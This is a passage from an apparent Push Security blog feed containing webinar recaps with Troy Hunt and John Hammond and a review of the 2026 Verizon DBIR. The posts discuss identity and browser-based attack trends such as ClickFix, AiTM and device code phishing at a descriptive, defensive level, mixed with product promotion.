infrastructure clusters and over 400 linked domains. Our <a href="https://pushsecurity.com/blog/analyzing-the-instructure-breach/">analysis of the Instructure breach</a> broke down the three core techniques behind these campaigns — credential phishing, AiTM attacks, and account takeover — none of which require particular technical sophistication to execute.</p><p>The reproducible playbook Troy described is an identity attack pattern, not a software vulnerability. &quot;Once you do get a group that manages to find a reproducible pattern to gain access to these things, the same pattern is used by so many different organizations&quot;. And identity attacks scale precisely because they target the weakest link in the chain: the way people actually log in.</p><hr/><h1><b>4. Your attack surface is bigger than your org chart</b></h1><p>Troy connected the credential problem to the broader reality of modern enterprise architecture: the attack surface isn&#39;t defined by your systems anymore — it&#39;s defined by every external dependency your employees touch. &quot;We&#39;re seeing attacks against the likes of Okta, because obviously Okta holds identity,&quot; he said. &quot;<a href="https://pushsecurity.com/blog/analyzing-the-instructure-breach/"><u>Salesforce</u></a>, a couple of years ago it was things like <a href="https://pushsecurity.com/blog/snowflake-retro/"><u>Snowflake</u></a> — these external dependencies, and then you have so many different entry points into them.&quot;</p><p>When Troy tried to describe the resulting complexity, the metaphor was telling: &quot;If you put all of this up on the board, sort of like crime fighter style and you draw the lines between everything, it&#39;s just an absolute spider web of interdependencies and access rights.&quot;</p><p>Mark made the point that the attack chain itself has shifted accordingly: &quot;The first part of the attack, the infostealer, might not even be something that happened in your environment. You&#39;re just gonna see the tail end of that attack chain.&quot; An employee&#39;s credentials get harvested from a personal device, sit in a criminal marketplace for months, and then get used to log into a SaaS app that your IdP doesn&#39;t even know exists — because the employee signed up with their corporate email and a reused password. With the average employee maintaining around 15 SaaS accounts, the organizational identity surface extends far beyond what any single IdP directory shows, and most of it is completely unmanaged.</p><p>This is the identity surface area Push is built to make visible: <a href="https://pushsecurity.com/uc/shadow-saas"><u>shadow SaaS</u></a> discovered through actual login events, authentication methods observed at the point of login, and the gap between what your IdP thinks is happening and <a href="https://pushsecurity.com/blog/ghost-logins-when-forgotten-identities-come-back-to-haunt-you/"><u>how people are actually authenticating</u></a>.</p><hr/><h1><b>5. Even Troy Hunt got phished, showing the need for stronger technical protections, not just more awareness training </b></h1><p>Troy recounted the story of his <a href="https://pushsecurity.com/blog/dissecting-a-recent-mailchimp-phishing-attack/"><u>own phishing incident</u></a>. &quot;My password out of 1Password got phished. My OTP out of 1Password got phished because it was a phishable form of 2FA,&quot; he said. &quot;And as a result, my mailing list got exposed. So I had to put my own mailing list into Have I Been Pwned and then email all my subscribers, which was, to be honest, slightly embarrassing.&quot;</p><p>If the person who runs Have I Been Pwned — someone who has spent over a decade immersed in breach data and credential security — can get phished, the lesson clearly isn&#39;t &quot;pay more attention.&quot; Troy was explicit about the takeaway: &quot;It reinforces the need for technical controls that are separate and complementary to the human controls. In my own case, the human controls broke down. Unfortunately there weren&#39;t sufficient technical controls in order to save me from myself.&quot;</p><p>Mark pushed the point further during the Q&amp;A: &quot;Expecting users, even well-educated ones, even security practitioners, to be able to differentiate — I think that&#39;s just not a reasonable expectation.&quot; When phishing arrives from <a href="https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix/">legitimate domains via notification pipeline abuse</a>, from compromised contacts on LinkedIn, and from sponsored Google search results  the signals users were trained to look for simply don&#39;t exist anymore. Training remains valuable as a layer, but the structural argument for technical controls inside the browser was reinforced throughout the session.</p><hr/><h1><b>6. MFA is necessary but it&#39;s not the finish line</b></h1><p>Both speakers returned to MFA multiple times, and the consensus was clear: any MFA beats no MFA, but treating it as a solved problem is dangerous. Troy was direct: &quot;You can have the world&#39;s best non-phishable 2FA. But an infostealer gets you cookie material and they can replay that and it had browser fingerprints and things in it as well, then you&#39;ve still got a problem.&quot; </p><p>Mark reinforced this: &quot;We&#39;re seeing a lot of post-authentication attacks — session hijacking, consent attacks — where you can have the strongest authentication methods available, but if you&#39;re sidestepping or doing a post-authentication action, that&#39;s really not gonna matter.&quot; And with <a href="https://pushsecurity.com/blog/the-cisos-data-problem-and-how-browser-telemetry-can-help/">2 in 5 logins observed by Push still lacking MFA at all</a>, many organizations haven&#39;t yet reached the baseline where post-authentication attacks are even the primary concern — they&#39;re still exposed to straightforward credential-based compromise at scale.</p><p>Push addresses both halves: <a href="https://pushsecurity.com/blog/introducing-set-and-forget-controls-that-stop-real-world-identity-attacks/">MFA enforcement guardrails</a> surface where MFA is missing and guide users toward enrollment, while <a href="https://pushsecurity.com/blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks/">session hijacking detection</a> and<a href="https://pushsecurity.com/blog/device-code-phishing/"> authorization attack protections</a> — including device code phishing detection and OAuth consent monitoring — catch the post-authentication attacks MFA was never designed to stop.</p><hr/><h1><b>7. The ClickFix-to-infostealer-to-account takeover flywheel</b></h1><p>The final thread that ran through the conversation was the self-reinforcing nature of the modern attack chain. Mark laid out the cycle explicitly: &quot;ClickFix to infostealer to account takeover, which results then in maybe more ad account takeover, so we distribute more ClickFix and it just kind of has this compounding effect.&quot;</p><p>This isn&#39;t a linear attack path — it&#39;s a flywheel. <a href="https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection/">ClickFix</a> silently injects a malicious command into the victim&#39;s clipboard and instructs them to paste and execute it, delivering infostealer malware that harvests credentials and session tokens from the browser. Those stolen credentials fuel credential stuffing attacks across every SaaS app the victim has accounts on — particularly apps with <a href="https://pushsecurity.com/blog/ghost-logins-when-forgotten-identities-come-back-to-haunt-you/">ghost logins</a> where local password-based authentication still works even after SSO was configured. Compromised advertising and social media accounts are then used to distribute more ClickFix lures through <a href="https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix/">Google search results, malvertising, and compromised websites</a>, and the cycle starts again.</p><p>The scale compounds with every rotation, and the numbers suggest the flywheel is already spinning fast — <a href="https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix/">54% of all ransomware attacks in 2025 traced back to infostealer-enabled credential theft</a>, and ClickFix was identified as <a href="https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix/">the most common initial access vector</a> by Microsoft last year.</p><p>Push breaks the chain at multiple points: detecting <a href="https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection/">ClickFix clipboard injection</a> before the payload reaches the endpoint, <a href="https://pushsecurity.com/blog/verified-stolen-credential-detection/">identifying stolen credentials</a> when they&#39;re actively used in login attempts, flagging <a href="https://pushsecurity.com/blog/introducing-set-and-forget-controls-that-stop-real-world-identity-attacks/">accounts missing MFA</a>, and <a href="https://pushsecurity.com/blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks/">detecting session hijacking</a> when stolen tokens are replayed outside the protected browser.</p><hr/><h1><b>The bigger picture</b></h1><p>The conversation with Troy reinforced something we see in our own data every day: the credential problem isn&#39;t just an awareness problem — and better technical controls are needed. Organizations know credentials get compromised, they subscribe to breach notification services, and they run security awareness training, but without the ability to match that intelligence against what&#39;s actually happening in the browser — which credentials are in active use, which accounts lack MFA, which logins bypass SSO entirely — the gap between knowing about a compromised credential and being able to do anything about it remains vast.</p><p>Troy&#39;s work at Have I Been Pwned has made that gap more visible than anyone else could, and the conversation is worth watching in full for the practitioner-level detail he brings to a problem most organizations are still underestimating.</p><p><a href="https://pushsecurity.com/resources/yes-youve-been-pwned"><u>Watch the full webinar</u></a> to hear the full conversation — or <a href="https://pushsecurity.com/demo">book a demo</a> to see how Push turns credential intelligence into actionable detections.</p>]]></content:encoded>
    </item>
    <item>
      <title>What the Verizon DBIR tells us about how breaches happen in 2026</title>
      <link>https://pushsecurity.com/blog/verizon-dbir-2026-review</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/verizon-dbir-2026-review</guid>
      <pubDate>Wed, 20 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Mark Orlando</dc:creator>
      <category>Browser security</category>
      <category>Browser-based attacks</category>
      <description>What we can learn from 2026's installment of the Verizon Data Breach Investigations Report.</description>
      <content:encoded><![CDATA[<p>The headline finding getting the most airtime in 2026 is that vulnerability exploitation has overtaken credential abuse as the top single initial access vector, jumping to 31% from 20% the year before. The vulnerability management crisis driving this statistic is one of the most important stories in this year&#39;s data. But reading it as evidence that identity threats are receding would be a mistake, because the DBIR&#39;s own data tells a more complicated and more useful story when you look at the full picture.</p><hr/><h1><b>Vulnerability exploitation has caught up with identity — not replaced it</b></h1><p>The DBIR&#39;s headline comparison pits vulnerability exploitation (31%) against credential abuse (13%) as individual vectors. That comparison is accurate but incomplete, because the DBIR tracks identity-related initial access across <b>three</b> separate categories: phishing (16%), credential abuse (13%), and pretexting (6%). Before interpreting those numbers, there&#39;s a methodological wrinkle worth understanding.</p><p>This year&#39;s report added pretexting as a newly tracked initial access vector, reclassifying some incidents previously counted as credential abuse. The DBIR is transparent about the effect: without that change, credential abuse would have been 16% rather than 13%. On an apples-to-apples basis, identity-related initial access (phishing 16% + credential abuse 16%) comes to 32% — versus 31% for vulnerability exploitation.</p><p>To be precise about what moved: phishing held roughly flat year over year, but credential abuse saw a modest decline even on the adjusted basis (from 22% to 16%). Overall, the identity picture is broadly stable. The reason the two categories have converged is that vulnerability exploitation surged 55%, not that identity attacks meaningfully receded.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/18rPvZ4Sw11UCHE7MxzXkd/17d059302242b4034686b13ee3044c8e/image4.png" alt="DBIR Figure 10 (p.15) — Initial access vectors, select enumerations"/><figcaption>DBIR Figure 10 (p.15) — Initial access vectors, select enumerations</figcaption></figure><h2><b>The taxonomy gap</b></h2><p>It&#39;s also worth asking how much the DBIR&#39;s initial access taxonomy can tell us. The figure that everyone is citing — Figure 10 — is labelled &quot;select enumerations,&quot; and the four tracked vectors (vulnerability exploitation, phishing, credential abuse, pretexting) add up to only 66% of initial access. A third of the picture isn&#39;t represented in the headline breakdown at all.</p><p>The cluster boundaries and where you draw them also changes the story. The DBIR classifies ClickFix under &quot;baiting&quot; — a category that covers malicious downloads and SEO poisoning — rather than phishing, even though the end goal is often the same: getting a user to execute something they shouldn&#39;t. Pretexting absorbed incidents that were previously credential abuse, shifting the numbers between categories. These are useful analytical clusters, but they aren&#39;t clean divisions of a neatly partitioned attack surface.</p><p>Some of the <a href="https://pushsecurity.com/blog/analyzing-the-instructure-breach">most consequential identity-based campaigns of the past 12 months</a> don&#39;t map cleanly to any of these categories — the mass Salesforce campaign that compromised over 1,000 organizations via device code phishing, the Anodot breach chain that pivoted through stored OAuth tokens to reach Snowflake customers, ConsentFix abusing Azure CLI&#39;s OAuth flow to bypass MFA entirely.</p><p>These are identity attacks at scale, and it isn&#39;t clear where — or whether — they show up in the DBIR&#39;s initial access vectors. This lack of depth in identity and in-browser attack vectors is common in many defensive models, which is why we&#39;ve created our own <a href="https://pushsecurity.com/resources/browser-identity-attacks-matrix/">Browser and Identity Attacks Matrix</a>.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/L0Yc77y9vzrKVD72BQGX2/4ffe0bf61bd62f025262b8efd74394b7/Browser___Identity_Attacks_Matrix__1_.png" alt="Browser &amp; Identity Attacks Matrix"/><figcaption>Browser and identity-based techniques have exploded since we first launched our attack matrix</figcaption></figure><p>That convergence at initial access also understates the role credentials play across full breach chains. The DBIR states plainly that credential abuse at any point in the breach progression — not just as the first action — appears in <b>39% of all breaches</b>, making it the single most pervasive technique in the dataset. Credentials don&#39;t just open the front door; they unlock lateral movement, privilege escalation, and persistence throughout the attack chain.</p><h2><b>The vulnerability treadmill</b></h2><p>The vulnerability exploitation surge itself is driven by a structural capacity crisis rather than a shift in attacker preference. Edge devices and VPNs now account for 22% of vulnerability-exploitation breaches, up from 3% the prior year — a <i>sevenfold</i> increase. Organizations face 50% more CISA KEV vulnerabilities to remediate than a year ago, median remediation time has increased from 32 to 43 days, and the volume of vulnerability records in the dataset has grown roughly eightfold.</p><p>This trend was already visible in last year&#39;s DBIR, when vulnerability exploitation jumped from 15% to 20%. AI-assisted exploit development may be compounding the problem — the DBIR&#39;s own data shows 32% of AI-assisted initial access targeting vulnerability exploitation — but the structural capacity crisis was accelerating well before AI became a meaningful factor in the attacker toolkit.</p><p>The vulnerability treadmill is accelerating, and the DBIR&#39;s remediation data shows defenders losing ground. But this is an additive problem, not a substitution. Both attack surfaces are growing. </p><hr/><h1><b>Phishing has left the inbox</b></h1><p>41% percent of social engineering breaches now involve vectors other than email, with approximately a quarter coming from social media or phone-based channels. Voice phishing simulations show a <b>40% higher success rate</b> than email phishing — a median click rate of 2% versus 1.4%.</p><p>The data is a little confusing. The DBIR draws a line between Phishing (asynchronous — send a message and hope for a click) and Pretexting (synchronous — someone interacting with you in real time). Voice phishing over a phone call is Pretexting in VERIS, not Phishing, even though most practitioners would call it phishing. Browser-based credential harvesting delivered via SEO poisoning or malicious downloads falls under &quot;Baiting.&quot; So the 16% phishing figure probably understates the full scope of credential-harvesting social engineering as most defenders would define it.</p><p>Even within the email channel, the data confirms what <a href="https://pushsecurity.com/blog/the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value/">browser-level detection data has been showing</a>: credential harvesting dominates. The DBIR&#39;s email security gateway breakdown shows 80% of blocked attacks are credential or session phishing, with only 10% involving malware delivery, 5% callback phishing, and 3% BEC. If you&#39;re running an email security gateway, the vast majority of what it catches is credential phishing — and 41% of social engineering is arriving through channels it can&#39;t see at all.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/4eWtJSz2QhM6QgXXjNuBNs/e6a33a088b7b0fb0dd1649c5d9164b53/image1.png" alt="DBIR Figure 54 (p.49) — Median percentage of email attack types by month"/><figcaption>DBIR Figure 54 (p.49) — Median percentage of email attack types by month</figcaption></figure><h2><b>The ClickFix detection gap</b></h2><p>The DBIR reports ClickFix at only 2.7% of attacks detected at the browser level. For context, <a href="https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection/">CrowdStrike reported a 563% increase in ClickFix lures</a> over the same period and Microsoft identified it as the most common initial access point at 47% of observed attacks. Push&#39;s own data shows ClickFix at a significantly higher proportion of browser-level detections, <b>with 4 in 5 delivered via search engines specifically.</b></p><p>The gap is striking, and the most likely explanation is a visibility one. ClickFix attacks result in a malware download or script execution on the endpoint — and without browser-layer context, that execution looks like any other malware delivery. If a contributing organization doesn&#39;t have visibility into the browser session that preceded the payload, they&#39;d attribute the incident to &quot;malware download&quot; or &quot;user execution&quot; rather than ClickFix specifically. The DBIR&#39;s 2.7% probably reflects how often contributors could trace the chain back to a ClickFix page, not how often ClickFix was actually the delivery mechanism.</p><hr/><h1><b>Stolen credentials are the ransomware on-ramp</b></h1><p>One of the most powerful findings in this year&#39;s DBIR is the quantification of the relationship between credential compromise and ransomware outcomes. Fifty percent of ransomware victims had a credential or infostealer event occur within 95 days prior to the ransomware attack, drawing a causal line from credential theft to ransomware deployment.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/26NpMQ31lpHgp5x8FrDumz/f022f1ede66b171dd756d28009a7d4a5/image2.png" alt="DBIR Figure 48 (p.45) — Credential leakage events prior to ransomware"/><figcaption>DBIR Figure 48 (p.45) — Credential leakage events prior to ransomware</figcaption></figure><p>The infostealer supply chain data reinforces the picture. Infostealers are surfacing an average of 2,362 breached corporate credentials per month from organizational email domains in stealer log datasets, and 54% of devices in Initial Access Broker logs had at least one infostealer installed. The 95-day median window is consistent with the known timeline from credential harvest to ransomware deployment.</p><p>That timeline reinforces an argument we&#39;ve been making about <a href="https://pushsecurity.com/blog/the-cisos-data-problem-and-how-browser-telemetry-can-help/">where the intervention point needs to be</a>: detecting credential compromise upstream — at the point of credential entry, session creation, or stolen credential reuse — rather than waiting for the ransomware deployment that follows weeks or months later.</p><h2><b>Post-compromise tradecraft is shifting</b></h2><p>The DBIR&#39;s post-compromise data adds another dimension. RMM tool abuse by threat actors showed a <b>240% increase</b> over the prior year, while traditional backdoor and C2 malware usage fell 27%. Attackers are increasingly living off the land with the same remote access tools IT teams use. Post-compromise detection is getting harder, which makes catching the initial credential compromise upstream that much more valuable.</p><hr/><h1><b>Your vendors are half the problem</b></h1><p>Third-party involvement in breaches reached <b>48%</b> this year, up from 30% — a 60% increase that follows a prior year where the figure had already doubled.</p><p>The DBIR&#39;s root cause analysis maps directly to identity security: insecure authentication — absent MFA, improper credential rotation — and lack of least privilege enforcement account for a substantial share of cloud-based third-party incidents. Only 23% of third-party organizations fully remediated missing or improperly secured MFA on cloud accounts, and weak password and permission misconfigurations took a median of 8 months to resolve 50% of findings.</p><p>Eight months. That&#39;s the median timeline for third-party vendors to resolve the identity hygiene issues that create the attack surface in their environments — environments that your data lives in.</p><p>Extend that posture gap across every vendor and third-party integration, and you start to see why the third-party breach figure keeps climbing. Visibility into <a href="https://pushsecurity.com/blog/unpacking-the-vercel-breach/">OAuth consent flows and third-party integration sprawl</a> is the starting point for getting ahead of a supply chain problem that is structurally getting worse.</p><hr/><h1><b>AI is scaling known techniques — and creating new blind spots from the inside</b></h1><p>The DBIR&#39;s AI analysis this year is grounded in a collaboration with Anthropic covering 793 threat actors who received enforcement action for violating acceptable use policy between March 2025 and February 2026. The findings are measured rather than alarmist: in the median case, actors sought AI assistance across about 15 distinct ATT&amp;CK techniques, 44% of AI-assisted initial access was phishing-related, and less than 2.5% of techniques observed were classified as rare.</p><p>AI is currently an operational tool for attackers — automating and scaling known techniques rather than unlocking novel ones. Despite heavy AI-assisted focus on phishing, the DBIR&#39;s own incident dataset shows phishing as an initial access vector has barely changed year over year — suggesting AI may be uplifting less-experienced attackers to a higher baseline of lure quality without meaningfully increasing success rates against organizations that already have detection in place.</p><p>The more concerning number is the 32% of AI-assisted initial access targeting vulnerability exploitation — compounding the patching capacity crisis discussed earlier in a trend that was already accelerating before AI entered the picture.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/584Txvap6FW9GlFlin9GwB/f5f5488251d9faee7fedc3030d2390b1/image5.png" alt="DBIR Figure 65 (p.60) — Select data types in DLP events targeting generative AI tools"/><figcaption>DBIR Figure 65 (p.60) — Select data types in DLP events targeting generative AI tools</figcaption></figure><h2><b>Shadow AI is the bigger problem</b></h2><p>The sharper AI risk for most organizations, though, is internal. Forty-five percent of employees are now regular AI users on corporate devices — up from 15%, a threefold increase — and <b>67% of them use non-corporate accounts</b>. Shadow AI has become the third most common non-malicious insider action in DLP data, a fourfold increase over the prior year, with source code as the leading data type submitted to unauthorized AI platforms by a wide margin.</p><p>The browser extension angle is particularly relevant. More than 15% of users had unauthorized AI browser extensions installed, and the DBIR specifically notes that these extensions collect and retain browsing context from internal sites — creating a data exfiltration pathway that operates independently of traditional DLP controls.</p><p>This is moving faster than any previous shadow IT wave, and the data loss vector is the browser — where users interact with AI tools, where extensions collect context, and where OAuth consent grants connect AI services to corporate data. Visibility and control at that layer isn&#39;t a nice-to-have for AI governance; <a href="https://pushsecurity.com/blog/browser-extension-management-guide/">it&#39;s the minimum viable starting point</a>.</p><hr/><h1><b>What this means for defenders</b></h1><p>The DBIR&#39;s 2026 data paints a picture of converging pressures rather than shifting priorities. Vulnerability exploitation surged, but identity-related initial access is broadly stable and credential abuse at 39% across full breach chains remains the single most pervasive technique in the dataset. Phishing is arriving through channels that email gateways can&#39;t see. The infostealer-to-ransomware pipeline now has longitudinal data behind it. Third-party involvement keeps climbing because vendor identity hygiene takes months to remediate. And shadow AI is creating data exposure pathways that most security stacks weren&#39;t designed to see.</p><p>The common thread across all of these findings is that the browser — where credentials are entered, sessions are created, OAuth consent is granted, AI tools are accessed, and extensions collect data — is the layer where these risks converge and where defenders need visibility and control if they&#39;re going to address them at the point of risk rather than after the fact.</p><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.</p><p>Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see.</p><p><a href="https://pushsecurity.com/demo"><u>Book a live demo to learn more.</u></a></p>]]></content:encoded>
    </item>
    <item>
      <title>7 things we learned from ‘Why the browser is the new battleground’ with John Hammond</title>
      <link>https://pushsecurity.com/blog/7-things-we-learned-from-john-hammond</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/7-things-we-learned-from-john-hammond</guid>
      <pubDate>Tue, 19 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Daniel Park</dc:creator>
      <category>Browser-based attacks</category>
      <category>Browser security</category>
      <description>Here are 7 things we learned from our conversation with John Hammond on the &quot;Why the browser is the new battleground&quot; webinar. </description>
      <content:encoded><![CDATA[<p>We recently sat down with <a href="https://www.youtube.com/@_JohnHammond"><u>John Hammond</u></a> — Senior Principal Security Researcher at Huntress — for a live deep-dive into the browser-based attack techniques defining the 2026 threat landscape. The session covered AiTM phishing, ClickFix, ConsentFix, device code phishing, and the structural shifts making traditional security controls less effective against all of them. Here are seven takeaways.</p><hr/><h1><b>1. Browser attacks are evolving faster than defenses can adapt</b></h1><p>The overriding theme of the session wasn&#39;t any single technique — it was the pace of change across all of them. AiTM phishing has been <a href="https://pushsecurity.com/blog/2025-top-phishing-trends/">the dominant phishing technique</a> for a couple of years now, but the variants layered on top of it are arriving faster than most security teams can evaluate, let alone deploy defenses against. ClickFix went from novel to <a href="https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix/">the most common initial access vector observed by Microsoft</a> within about a year. Device code phishing went from near-zero to <a href="https://pushsecurity.com/blog/device-code-phishing/">at least 12 distinct kits</a> in a matter of months. ConsentFix was detected as a zero-day technique by Push in late 2025 and has already been <a href="https://pushsecurity.com/blog/consentfix-v3-analyzing-a-new-toolkit/">operationalized on criminal forums</a>.</p><blockquote><p>As Luke put it toward the end of the session: &quot;I&#39;ve seen this develop so fast over the last two years. This isn&#39;t what&#39;s coming — this is now. This is where the battleground is.&quot;</p></blockquote><hr/><h1><b>2. AiTM phishing is table stakes for attackers </b></h1><p>Adversary-in-the-middle phishing — where a reverse proxy sits between the victim and the real login page, intercepting session tokens in real time to bypass MFA — is no longer an advanced technique. It&#39;s available as a commodity for-hire through Phishing-as-a-Service platforms like Tycoon2FA, Sneaky2FA, and others<a href="https://pushsecurity.com/blog/2025-top-phishing-trends/"><u>,</u></a> and the kits are getting harder to detect through traditional means.</p><p>Luke demoed the attacker&#39;s perspective using Evilginx — an open-source tool now commonly seen in criminal operations — showing how session tokens are captured in real time even when the victim enters their MFA code correctly. From the victim&#39;s side, the login feels completely normal.</p><p><b>One of the key focuses in the session was how attackers are abusing legitimate infrastructure for both hosting and delivery of phishing pages. .</b> The in-the-wild examples showed attack chains routing through multiple legitimate services — file-sharing platforms, TinyURL, Cloudflare Turnstile, Google Search redirects — before finally landing on the phishing page. This is a well established technique for <a href="https://phishing-techniques.pushsecurity.com/"><u>detection evasion</u></a>. </p><p>As John observed, &quot;the end user doesn&#39;t have that wherewithal or that observability understanding of how far they drove around across the internet&quot; before arriving at the credential-harvesting page. Push reconstructs these multi-hop chains into a <a href="https://pushsecurity.com/blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks/">complete timeline</a>, mapping the full redirect sequence even when individual hops are through trusted domains that wouldn&#39;t trigger any reputation-based alert — and crucially, detects malicious content on the phishing page itself rather than relying on known-bad IP and domain based checks that can only see the known-good sites used early in the chain.</p><hr/><h1><b>3. Email is losing its market share as a delivery vector</b></h1><p>One of the most striking examples in the webinar was a targeted AiTM campaign <a href="https://pushsecurity.com/blog/new-phishing-campaign-identified-targeting-linkedin-users/">Push detected last year</a> that was delivered entirely via LinkedIn. Senior executives at tech companies received direct messages from compromised contacts — people they already knew, in some cases other employees of the same companies — offering involvement in private equity fundraising rounds connected to companies they had real involvement with. The targeting was precise and personal, and the redirect chain ran through sites.google.com and Microsoft Dynamics before landing on a cloned login page.</p><p>As Luke noted, LinkedIn occupies an unusual middle ground: &quot;It&#39;s this great way of targeting companies, but through a vector that can&#39;t really be monitored in the same way as other corporate systems, because it&#39;s kind of a personal platform.&quot; It&#39;s personal enough that companies can&#39;t realistically monitor it, but professional enough that employees routinely access it from corporate devices.</p><p>LinkedIn is only part of the shift. ClickFix attacks most commonly arrive via search results in 4 of 5 cases based on Push data. Luke noted &quot;not even malvertising, just organic search, uncovering legit websites that have been compromised.&quot; InstallFix pages appear as sponsored Google ads. ConsentFix pages were seeded on compromised websites found through normal browsing. In every case, the email gateway never sees the lure because the lure was never in an email. And of course, even if a compromised website is reported and removed, it’s easier than ever for an attacker to quickly tear down and rotate their sites to stay ahead of blocklists. </p><blockquote><p>As John put it: &quot;You could set up this lure or this trap out on the open internet so that anyone could fall for it at any point.&quot;</p></blockquote><hr/><h1><b>4. ClickFix keeps evolving with multiple *Fix derivatives</b></h1><p>ClickFix — where a malicious page silently writes a payload to the victim&#39;s clipboard and instructs them to paste and execute it — <a href="https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection/"><u>spawned an entire family of variants since its emergence, according to Push’s research</u></a>. The webinar showed how far the social engineering has come: Luke demonstrated a <a href="https://pushsecurity.com/blog/the-most-advanced-clickfix-yet/">particularly sophisticated variant</a> on a compromised legitimate website with an embedded instructional video and a countdown timer to manufacture urgency, targeting macOS. As John noted: &quot;It can be cross-platform because you&#39;re just preying on the human weakness. The video smooths it over for the user experience.&quot;</p><p>The more important point was structural. Because the user manually pastes and executes the command, &quot;from the EDR&#39;s perspective, the user just manually ran this command,&quot; Luke explained. &quot;It actually breaks that link from an EDR&#39;s perspective.&quot; EDR behavioral detections weigh execution context heavily — a PowerShell command spawned from a browser process tree is suspicious, but the same command initiated through the Run dialog looks like normal activity. Push <a href="https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection/">detects ClickFix at the clipboard-injection stage</a>, before the payload ever reaches the endpoint, to bolster endpoint-level detections and extend protection to machines like BYOD, contractor, or developer devices where EDR is often missing or tuned-down.</p><hr/><h1><b>5. InstallFix turned the AI tool boom into an attack surface overnight</b></h1><p><a href="https://pushsecurity.com/blog/installfix/"><u>InstallFix</u></a> — a ClickFix variant that clones legitimate developer tool installation pages and swaps the install command for a malicious payload — was one of the clearest examples of how quickly a new attack pattern can go from zero to dominant. Luke showed side-by-side comparisons of real and fake Claude Code installation pages that were visually identical except for the payload itself, and fake Notebook LM pages appearing as top Google sponsored results.</p><p>The trajectory Luke described was striking: &quot;It literally started one day and then it&#39;s just been nonstop for the last couple of months since it started. It obviously is working really well.&quot; John added that the Claude Code variant in particular has been &quot;running rampant,&quot; and that he personally knows someone who fell for it.</p><p>What makes InstallFix effective is that it exploits a workflow that&#39;s become completely normalized — the rise of AI tools has encouraged even non-technical users to install software via terminal commands copied from documentation pages. When the fake page looks identical to the real one and the install method is exactly what you&#39;d expect, the only tell is a base64-encoded payload that most users wouldn&#39;t think to scrutinize.</p><hr/><h1><b>6. ConsentFix plays out entirely in the browser, and criminals just got the playbook</b></h1><p><a href="https://pushsecurity.com/blog/consentfix/"><u>ConsentFix</u></a> was a key focus in the webinar, and for good reason — it represents a fundamentally different class of browser attack. Rather than proxying credentials (AiTM) or injecting endpoint payloads (ClickFix), ConsentFix abuses the OAuth authorization code flow via the Azure CLI&#39;s localhost redirect to obtain access tokens without ever touching a password or MFA prompt. As John put it: &quot;This one is really tricky because the entire attack and technique lives only within the browser. There are no little EDR artifacts to poke and play at.&quot;</p><p>Luke described how Push first detected ConsentFix in the wild — a genuine zero-day discovery that took multiple encounters to fully understand. The attackers were fingerprinting visitors by IP and browser, triggering the payload only once per visitor across all compromised sites, and performing conditional access checks on the email address provided before deciding whether to proceed. &quot;It took us seeing it a few times before we cracked it,&quot; Luke explained. &quot;And then we were like — wow. What is this? I&#39;ve never seen this before.&quot;</p><p>The session then took an interesting turn when John revealed something he hadn&#39;t previously shared publicly: a  <a href="https://pushsecurity.com/blog/consentfix-v3-analyzing-a-new-toolkit/">ConsentFix v3 toolkit</a> posted on a well-known criminal forum, complete with a tutorial video, step-by-step instructions, and a zero-infrastructure approach using Cloudflare Workers for hosting, Dropbox for PDF delivery, and Pipedream as an automated exfiltration channel. &quot;They don’t need any infrastructure,&quot; John noted. &quot;They don’t have to host any servers or VPS. They could just cast this out to the whole wide world on the open internet.&quot;</p><blockquote><p>Luke&#39;s assessment was clear: &quot;When we published our first article, we were thinking, surely we&#39;re going to see a huge increase in this technique. We haven&#39;t really — until now.&quot; </p></blockquote><p>With the criminal ecosystem now tooled up, the expectation is that ConsentFix will follow the same commoditization arc as other techniques discussed in the session.</p><hr/><h1><b>7. Device code phishing is the technique both speakers fear most (and it&#39;s just getting started)</b></h1><p>When John asked Luke which technique felt most dangerous, the answer was immediate: <a href="https://pushsecurity.com/blog/device-code-phishing/">device code phishing</a>. </p><p>The technique abuses the OAuth 2.0 device authorization grant flow — originally designed for input-constrained devices like TVs, but now primarily used in enterprise environments for CLI tool authentication (Azure CLI, GitHub CLI, AWS CLI). That everyday enterprise usage is exactly what makes the phishing so effective: users in developer-heavy organizations are already habituated to entering short codes as part of their normal workflow. The victim enters a code on a legitimate Microsoft login page, and if they&#39;re already authenticated, the entire compromise happens without entering a password or completing an MFA challenge.</p><p>Push is now tracking at least 12 distinct device code phishing kits, &quot;literally within the last couple of months — from basically zero to this.&quot; EvilTokens dominates at an estimated 90–95% of detected volume, but the kit landscape is diversifying fast. Luke&#39;s theory: every existing AiTM vendor is adding device code phishing as a module. When Push investigated the Venom kit, its AiTM component triggered existing Sneaky2FA detections — suggesting the same actors or codebase behind both. &quot;That&#39;s why we&#39;ve seen such a rapid increase — it&#39;s worked so well that everyone is just doing the same thing now.&quot;</p><p><b>What makes device code phishing uniquely dangerous is how little friction it presents to the victim.</b> As Luke explained: &quot;It&#39;s purely identity-driven. It completely bypasses 2FA, even bypasses phishing-resistant factors like passkeys. And it&#39;s just not something that seems malicious to your average user. 